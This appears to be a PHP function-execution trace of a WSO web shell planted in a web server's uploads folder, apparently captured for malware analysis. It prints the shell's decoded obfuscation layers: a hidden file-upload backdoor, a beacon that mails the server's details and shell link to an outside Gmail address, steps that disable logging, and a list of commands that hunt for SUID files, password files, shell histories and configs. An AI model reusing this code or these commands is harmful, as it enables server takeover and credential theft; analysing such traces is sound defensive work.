3	20	R			'421aa90e079fa326b6494f812ad13e79'
3	21	0	0.012908	1247040	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	12	1	'localhost'
3	21	1	0.012921	1247136
3	21	R			'421aa90e079fa326b6494f812ad13e79'
3	22	0	0.012937	1247104	prototype	1		/var/www/html/uploads/wso.php(5) : eval()'d code	12	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	362	_COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
4	23	0	0.012969	1247480	setcookie	0		/var/www/html/uploads/wso.php(5) : eval()'d code	363	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
4	23	1	0.012988	1247680
4	23	R			TRUE
3	22	1	0.013002	1247616
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	16	_POST['charset'] = 'UTF-8'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	24	$hex = 'SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ=='
3	24	0	0.013046	1247992	base64_decode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	25	1	'SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ=='
3	24	1	0.013069	1248472
3	24	R			'HDX0\024\027C\nαRa{*DХӑ)\t&aqB~{&ie\022\025/wPcq\033Ǹ\006gp8(3һ\035l{K+\017zmKS\036AOHe3IVR\032vl\0221[Moq;4N|Tˋ>m+J\016M04<\026n%Q\030)=_\023$\000yUyURANv-w焒&1Kc\'c\024&4zѧ3ҋti<Kl\024Y!-ަB6_0y$8c\001'
3	25	0	0.013112	1248440	str_rot13	0		/var/www/html/uploads/wso.php(5) : eval()'d code	25	1	'HDX0\024\027C\nαRa{*DХӑ)\t&aqB~{&ie\022\025/wPcq\033Ǹ\006gp8(3һ\035l{K+\017zmKS\036AOHe3IVR\032vl\0221[Moq;4N|Tˋ>m+J\016M04<\026n%Q\030)=_\023$\000yUyURANv-w焒&1Kc\'c\024&4zѧ3ҋti<Kl\024Y!-ަB6_0y$8c\001'
3	25	1	0.013149	1248792
3	25	R			'UQK0\024\027P\nαEn{*QХӑ)\t&ndO~{&vr\022\025/jCpd\033Ǹ\006tc8(3һ\035y{X+\017mzXF\036NBUr3VIE\032iy\0221[Zbd;4A|Gˋ>z+W\016Z04<\026a%D\030)=_\023$\000lHlHENAi-j焒&1Xp\'p\024&4mѧ3ҋgv<Xy\024L!-ަO6_0l$8p\001'
3	26	0	0.013189	1248312	gzinflate	0		/var/www/html/uploads/wso.php(5) : eval()'d code	25	1	'UQK0\024\027P\nαEn{*QХӑ)\t&ndO~{&vr\022\025/jCpd\033Ǹ\006tc8(3һ\035y{X+\017mzXF\036NBUr3VIE\032iy\0221[Zbd;4A|Gˋ>z+W\016Z04<\026a%D\030)=_\023$\000lHlHENAi-j焒&1Xp\'p\024&4mѧ3ҋgv<Xy\024L!-ަO6_0l$8p\001'
3	26	1	0.013234	1248792
3	26	R			'vs(vffrg($_TRG["ynjyk"])) \t{  rpub \'<ugzy><obql><sbez zrgubq=CBFG rapglcr="zhygvcneg/sbez-qngn" npgvba=""><vachg glcr="svyr" anzr="ynjyk"><vachg glcr=fhozvg inyhr="Hc"></sbez></obql></ugzy>\';$ynjyk = @$_SVYRF["ynjyk"];   vs ($ynjyk["anzr"] != \'\') {  $shyycngu = $_ERDHRFG["cngu"] . $ynjyk["anzr"];  vs (zbir_hcybnqrq_svyr($ynjyk[\'gzc_anzr\'], $shyycngu)) {     rpub "<u1><n uers=\'$shyycngu\'>BX-Pyvpx urer!</n></u1>"; }} }'
3	27	0	0.013264	1248440	str_rot13	0		/var/www/html/uploads/wso.php(5) : eval()'d code	25	1	'vs(vffrg($_TRG["ynjyk"])) \t{  rpub \'<ugzy><obql><sbez zrgubq=CBFG rapglcr="zhygvcneg/sbez-qngn" npgvba=""><vachg glcr="svyr" anzr="ynjyk"><vachg glcr=fhozvg inyhr="Hc"></sbez></obql></ugzy>\';$ynjyk = @$_SVYRF["ynjyk"];   vs ($ynjyk["anzr"] != \'\') {  $shyycngu = $_ERDHRFG["cngu"] . $ynjyk["anzr"];  vs (zbir_hcybnqrq_svyr($ynjyk[\'gzc_anzr\'], $shyycngu)) {     rpub "<u1><n uers=\'$shyycngu\'>BX-Pyvpx urer!</n></u1>"; }} }'
3	27	1	0.013295	1248920
3	27	R			'if(isset($_GET["lawlx"])) \t{  echo \'<html><body><form method=POST enctype="multipart/form-data" action=""><input type="file" name="lawlx"><input type=submit value="Up"></form></body></html>\';$lawlx = @$_FILES["lawlx"];   if ($lawlx["name"] != \'\') {  $fullpath = $_REQUEST["path"] . $lawlx["name"];  if (move_uploaded_file($lawlx[\'tmp_name\'], $fullpath)) {     echo "<h1><a href=\'$fullpath\'>OK-Click here!</a></h1>"; }} }'
3	28	0	0.013347	1251112	eval	1	'if(isset($_GET["lawlx"])) \t{  echo \'<html><body><form method=POST enctype="multipart/form-data" action=""><input type="file" name="lawlx"><input type=submit value="Up"></form></body></html>\';$lawlx = @$_FILES["lawlx"];   if ($lawlx["name"] != \'\') {  $fullpath = $_REQUEST["path"] . $lawlx["name"];  if (move_uploaded_file($lawlx[\'tmp_name\'], $fullpath)) {     echo "<h1><a href=\'$fullpath\'>OK-Click here!</a></h1>"; }} }'	/var/www/html/uploads/wso.php(5) : eval()'d code	25	0
3	28	1	0.013375	1251112
3	29	0	0.013383	1248536	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	28	2	'error_log'	NULL
3	29	1	0.013399	1248608
3	29	R			''
3	30	0	0.013413	1248536	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	29	2	'log_errors'	0
3	30	1	0.013427	1248608
3	30	R			'0'
3	31	0	0.013440	1248536	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	30	2	'max_execution_time'	0
3	31	1	0.013455	1248608
3	31	R			'0'
3	32	0	0.013468	1248536	set_time_limit	0		/var/www/html/uploads/wso.php(5) : eval()'d code	31	1	0
3	32	1	0.013482	1248600
3	32	R			FALSE
3	33	0	0.013496	1248568	version_compare	0		/var/www/html/uploads/wso.php(5) : eval()'d code	32	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.3.0'	'<'
3	33	1	0.013513	1248664
3	33	R			FALSE
3	34	0	0.013526	1248568	define	0		/var/www/html/uploads/wso.php(5) : eval()'d code	35	2	'VERSION'	'SHELL 2018'
3	34	1	0.013542	1248672
3	34	R			TRUE
3	35	0	0.013555	1248600	get_magic_quotes_gpc	0		/var/www/html/uploads/wso.php(5) : eval()'d code	36	0
3	35	1	0.013568	1248600
3	35	R			FALSE
3	36	0	0.013582	1248600	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	50	1	'localhost'
3	36	1	0.013595	1248696
3	36	R			'421aa90e079fa326b6494f812ad13e79'
3	37	0	0.013610	1248600	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	51	1	'localhost'
3	37	1	0.013623	1248696
3	37	R			'421aa90e079fa326b6494f812ad13e79'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	51	_COOKIE['421aa90e079fa326b6494f812ad13e79ajax'] = TRUE
3	38	0	0.013653	1248664	substr	0		/var/www/html/uploads/wso.php(5) : eval()'d code	62	3	'Linux'	0	3
3	38	1	0.013668	1248792
3	38	R			'Lin'
3	39	0	0.013681	1248696	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	62	1	'Lin'
3	39	1	0.013695	1248760
3	39	R			'lin'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	65	$os = 'nix'
3	40	0	0.013719	1248664	ini_get	0		/var/www/html/uploads/wso.php(5) : eval()'d code	66	1	'safe_mode'
3	40	1	0.013734	1248696
3	40	R			FALSE
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	66	$safe_mode = FALSE
3	41	0	0.013758	1248664	error_reporting	0		/var/www/html/uploads/wso.php(5) : eval()'d code	68	1	0
3	41	1	0.013772	1248704
3	41	R			22527
3	42	0	0.013784	1248664	ini_get	0		/var/www/html/uploads/wso.php(5) : eval()'d code	69	1	'disable_functions'
3	42	1	0.013799	1249144
3	42	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	69	$disable_functions = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3	43	0	0.013845	1249112	getcwd	0		/var/www/html/uploads/wso.php(5) : eval()'d code	70	0
3	43	1	0.013860	1249160
3	43	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	70	$home_cwd = '/var/www/html/uploads'
3	44	0	0.013886	1249160	getcwd	0		/var/www/html/uploads/wso.php(5) : eval()'d code	73	0
3	44	1	0.013899	1249208
3	44	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	73	$cwd = '/var/www/html/uploads'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	79	$cwd .= '/'
3	45	0	0.013940	1249208	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	266	1	'posix_getpwuid'
3	45	1	0.013955	1249248
3	45	R			TRUE
3	46	0	0.013969	1249208	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	267	1	'posix_getgrgid'
3	46	1	0.013983	1249248
3	46	R			TRUE
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	345	$xd = 'fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H'
3	47	0	0.014017	1249208	base64_decode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	346	1	'fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H'
3	47	1	0.014040	1249624
3	47	R			'}bx0\020\017\035Ec\003pQٟ4̖\ni\022%Sdq0駷@J_帻\005\\[k\002T]n8||JKb\rwrZ$5/86R\b0\002\a<cf\032d՛Ϸ,L\036\022m̙9?^\rF\024\033\024\020\025\027|$JdQ{?+H}Qn!u-\f/x^X\034\r\006w(x\025 \rmgċEƂ<%<&T~\f/\a'
3	48	0	0.014080	1249592	str_rot13	0		/var/www/html/uploads/wso.php(5) : eval()'d code	346	1	'}bx0\020\017\035Ec\003pQٟ4̖\ni\022%Sdq0駷@J_帻\005\\[k\002T]n8||JKb\rwrZ$5/86R\b0\002\a<cf\032d՛Ϸ,L\036\022m̙9?^\rF\024\033\024\020\025\027|$JdQ{?+H}Qn!u-\f/x^X\034\r\006w(x\025 \rmgċEƂ<%<&T~\f/\a'
3	48	1	0.014117	1249880
3	48	R			'}ok0\020\017\035Rp\003cDٟ4̖\nv\022%Fqd0駷@W_帻\005\\[x\002G]a8||WXo\rjeM$5/86E\b0\002\a<ps\032q՛Ϸ,Y\036\022z̙9?^\rS\024\033\024\020\025\027|$WqD{?+U}Da!h-\f/k^K\034\r\006j(k\025 \rztċRƂ<%<&G~\f/\a'
3	49	0	0.014155	1249464	gzinflate	0		/var/www/html/uploads/wso.php(5) : eval()'d code	346	1	'}ok0\020\017\035Rp\003cDٟ4̖\nv\022%Fqd0駷@W_帻\005\\[x\002G]a8||WXo\rjeM$5/86E\b0\002\a<ps\032q՛Ϸ,Y\036\022z̙9?^\rS\024\033\024\020\025\027|$WqD{?+U}Da!h-\f/k^K\034\r\006j(k\025 \rztċRƂ<%<&G~\f/\a'
3	49	1	0.014198	1250008
3	49	R			' $urk = "unpxre0882@tznvy.pbz";\r\n $onfyvx = "Sbhaq";\r\n $kq = "Svyr Cngu : " . $_FREIRE[\'QBPHZRAG_EBBG\'] . "\\e\\a";\r\n $kq.= "Freire Nqzva : " . $_FREIRE[\'FREIRE_NQZVA\'] . "\\e\\a";\r\n $kq.= "Freire Bcrengvat Flfgrz : " . $_FREIRE[\'FREIRE_FBSGJNER\'] . "\\e\\a";\r\n $kq.= "Furyy Yvax : uggc://" . $_FREIRE[\'FREIRE_ANZR\'] . $_FREIRE[\'CUC_FRYS\'] . "\\e\\a";\r\n $kq.= "Fvgr : " . $_FREIRE[\'UGGC_UBFG\'] . "\\e\\a";\r\n znvy($urk, $onfyvx, $kq); ?>'
3	50	0	0.014228	1249720	str_rot13	0		/var/www/html/uploads/wso.php(5) : eval()'d code	346	1	' $urk = "unpxre0882@tznvy.pbz";\r\n $onfyvx = "Sbhaq";\r\n $kq = "Svyr Cngu : " . $_FREIRE[\'QBPHZRAG_EBBG\'] . "\\e\\a";\r\n $kq.= "Freire Nqzva : " . $_FREIRE[\'FREIRE_NQZVA\'] . "\\e\\a";\r\n $kq.= "Freire Bcrengvat Flfgrz : " . $_FREIRE[\'FREIRE_FBSGJNER\'] . "\\e\\a";\r\n $kq.= "Furyy Yvax : uggc://" . $_FREIRE[\'FREIRE_ANZR\'] . $_FREIRE[\'CUC_FRYS\'] . "\\e\\a";\r\n $kq.= "Fvgr : " . $_FREIRE[\'UGGC_UBFG\'] . "\\e\\a";\r\n znvy($urk, $onfyvx, $kq); ?>'
3	50	1	0.014255	1250264
3	50	R			' $hex = "hacker0882@gmail.com";\r\n $baslik = "Found";\r\n $xd = "File Path : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n $xd.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n $xd.= "Server Operating System : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n $xd.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n $xd.= "Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\n mail($hex, $baslik, $xd); ?>'
3	51	0	0.014313	1252648	eval	1	' $hex = "hacker0882@gmail.com";\r\n $baslik = "Found";\r\n $xd = "File Path : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n $xd.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n $xd.= "Server Operating System : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n $xd.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n $xd.= "Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\n mail($hex, $baslik, $xd); ?>'	/var/www/html/uploads/wso.php(5) : eval()'d code	346	0
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	1	$hex = 'hacker0882@gmail.com'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	2	$baslik = 'Found'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	3	$xd = 'File Path : /var/www/html\r\n'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	4	$xd .= 'Server Admin : webmaster@localhost\r\n'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	5	$xd .= 'Server Operating System : Apache/2.4.52 (Ubuntu)\r\n'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	6	$xd .= 'Shell Link : http://localhost/uploads/wso.php\r\n'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	7	$xd .= 'Site : localhost\r\n'
4	52	0	0.014450	1252872	mail	0		/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	8	3	'hacker0882@gmail.com'	'Found'	'File Path : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer Operating System : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/wso.php\r\nSite : localhost\r\n'
4	52	1	0.015215	1252968
4	52	R			FALSE
3	51	1	0.015241	1252872
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	615	$aliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find all suid files' => 'find / -type f -perm -04000 -ls', 'find suid files in current dir' => 'find . -type f -perm -04000 -ls', 'find all sgid files' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php files' => 'find / -type f -name config.inc.php', 'find config* files' => 'find / -type f -name "config*"', 'find config* files in current dir' => 'find . -type f -name "config*"', 'find all writable folders and files' => 'find / -perm -2 -ls', 'find all writable folders and files in current dir' => 'find . -perm -2 -ls', 'find all service.pwd files' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find all .htpasswd files' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find all .bash_history files' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf files' => 'locate httpd.conf', 'locate vhosts.conf files' => 'locate vhosts.conf', 'locate proftpd.conf files' => 'locate proftpd.conf', 'locate psybnc.conf files' => 'locate psybnc.conf', 'locate my.conf files' => 'locate my.conf', 'locate admin.php files' => 'locate admin.php', 'locate cfg.php files' => 'locate cfg.php', 'locate conf.php files' => 'locate conf.php', 'locate config.dat files' => 'locate config.dat', 'locate config.php files' => 'locate config.php', 'locate config.inc files' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php files' => 'locate config.default.php', 'locate config* files ' => 'locate config', 'locate .conf files' => 'locate \'.conf\'', 'locate .pwd files' => 'locate \'.pwd\'', 'locate .sql files' => 'locate \'.sql\'', 'locate .htpasswd files' => 'locate \'.htpasswd\'', 'locate .bash_history files' => 'locate \'.bash_history\'', 'locate .mysql_history files' => 'locate \'.mysql_history\'', 'locate .fetchmailrc files' => 'locate \'.fetchmailrc\'', 'locate backup files' => 'locate backup', 'locate dump files' => 'locate dump', 'locate priv files' => 'locate priv']
3	53	0	0.015325	1249744	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	1114	1	'actionFilesMan'
3	53	1	0.015342	1249784
3	53	R			TRUE
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	1115	_POST['a'] = 'FilesMan'
3	54	0	0.015370	1249744	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	1118	1	'actionFilesMan'
3	54	1	0.015385	1249784
3	54	R			TRUE
3	55	0	0.015400	1249704	actionFilesMan	1		/var/www/html/uploads/wso.php(5) : eval()'d code	1119	0
4	56	0	0.015415	1249704	hardHeader	1		/var/www/html/uploads/wso.php(5) : eval()'d code	862	0
5	57	0	0.015431	1252240	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	122	1	'/var/www/html/uploads/'
5	57	1	0.015447	1252432
5	57	R			'/var/www/html/uploads/'
5	58	0	0.015463	1252240	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	123	1	'FilesMan'
5	58	1	0.015478	1252432
5	58	R			'FilesMan'
5	59	0	0.015493	1252752	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	124	1	'UTF-8'
5	59	1	0.015507	1252944
5	59	R			'UTF-8'
5	60	0	0.015522	1252752	strpos	0		/var/www/html/uploads/wso.php(5) : eval()'d code	125	2	NULL	'\n'
5	60	1	0.015536	1252824
5	60	R			FALSE
5	61	0	0.015550	1252752	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	125	2	NULL	3
5	61	1	0.015565	1252984
5	61	R			''
5	62	0	0.015579	1252752	strpos	0		/var/www/html/uploads/wso.php(5) : eval()'d code	126	2	NULL	'\n'
5	62	1	0.015593	1252824
5	62	R			FALSE
5	63	0	0.015606	1252752	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	126	2	NULL	3
5	63	1	0.015620	1252984
5	63	R			''
5	64	0	0.015634	1252752	strpos	0		/var/www/html/uploads/wso.php(5) : eval()'d code	127	2	NULL	'\n'
5	64	1	0.015647	1252824
5	64	R			FALSE
5	65	0	0.015660	1252752	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	127	2	NULL	3
5	65	1	0.015674	1252984
5	65	R			''
5	66	0	0.015688	1257872	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	138	1	'localhost'
5	66	1	0.015702	1257968
5	66	R			'421aa90e079fa326b6494f812ad13e79'
5	67	0	0.015717	1257872	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	139	1	'localhost'
5	67	1	0.015730	1257968
5	67	R			'421aa90e079fa326b6494f812ad13e79'
5	68	0	0.015745	1257872	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	140	1	'localhost'
5	68	1	0.015758	1257968
5	68	R			'421aa90e079fa326b6494f812ad13e79'
5	69	0	0.015772	1257872	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	141	1	'localhost'
5	69	1	0.015785	1257968
5	69	R			'421aa90e079fa326b6494f812ad13e79'
5	70	0	0.015799	1257872	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	142	1	'localhost'
5	70	1	0.015882	1257968
5	70	R			'421aa90e079fa326b6494f812ad13e79'
5	71	0	0.015900	1257872	addslashes	0		/var/www/html/uploads/wso.php(5) : eval()'d code	154	1	'/uploads/wso.php'
5	71	1	0.015914	1257904
5	71	R			'/uploads/wso.php'
5	72	0	0.015938	1249792	diskfreespace	0		/var/www/html/uploads/wso.php(5) : eval()'d code	186	1	'/var/www/html/uploads/'
5	72	1	0.015957	1249824
5	72	R			203172294656
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	186	$freeSpace = 203172294656
5	73	0	0.015986	1249792	disk_total_space	0		/var/www/html/uploads/wso.php(5) : eval()'d code	187	1	'/var/www/html/uploads/'
5	73	1	0.016001	1249824
5	73	R			232015802368
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	187	$totalSpace = 232015802368
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	188	$totalSpace = 232015802368
5	74	0	0.016039	1249792	php_uname	0		/var/www/html/uploads/wso.php(5) : eval()'d code	189	1	'r'
5	74	1	0.016054	1249872
5	74	R			'5.15.0-60-generic'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	189	$release = '5.15.0-60-generic'
5	75	0	0.016082	1249840	php_uname	0		/var/www/html/uploads/wso.php(5) : eval()'d code	190	1	's'
5	75	1	0.016095	1249904
5	75	R			'Linux'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	190	$kernel = 'Linux'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	191	$explink = 'https://www.exploit-db.com/search/?action=search&description='
5	76	0	0.016134	1249872	strpos	0		/var/www/html/uploads/wso.php(5) : eval()'d code	192	2	'Linux'	'Linux'
5	76	1	0.016148	1249944
5	76	R			0
5	77	0	0.016161	1249872	substr	0		/var/www/html/uploads/wso.php(5) : eval()'d code	193	3	'5.15.0-60-generic'	0	6
5	77	1	0.016176	1250000
5	77	R			'5.15.0'
5	78	0	0.016189	1249920	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	193	1	'Linux Kernel 5.15.0'
5	78	1	0.016203	1250000
5	78	R			'Linux+Kernel+5.15.0'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	193	$explink .= 'Linux+Kernel+5.15.0'
5	79	0	0.016230	1249984	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	196	1	'posix_getegid'
5	79	1	0.016244	1250024
5	79	R			TRUE
5	80	0	0.016258	1249984	posix_geteuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	202	0
5	80	1	0.016271	1249984
5	80	R			33
5	81	0	0.016283	1249984	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	202	1	33
5	81	1	0.016316	1250816
5	81	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	202	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5	82	0	0.016360	1250784	posix_getegid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	203	0
5	82	1	0.016373	1250784
5	82	R			33
5	83	0	0.016385	1250784	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	203	1	33
5	83	1	0.016413	1251448
5	83	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	203	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	204	$user = 'www-data'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	205	$uid = 33
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	206	$group = 'www-data'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	207	$gid = 33
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	209	$cwd_links = ''
5	84	0	0.016505	1250064	explode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	210	2	'/'	'/var/www/html/uploads/'
5	84	1	0.016520	1250672
5	84	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	210	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	211	$n = 6
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	212	$i = 0
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	216	$cwd_links .= '")\'>/</a>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	212	$i++
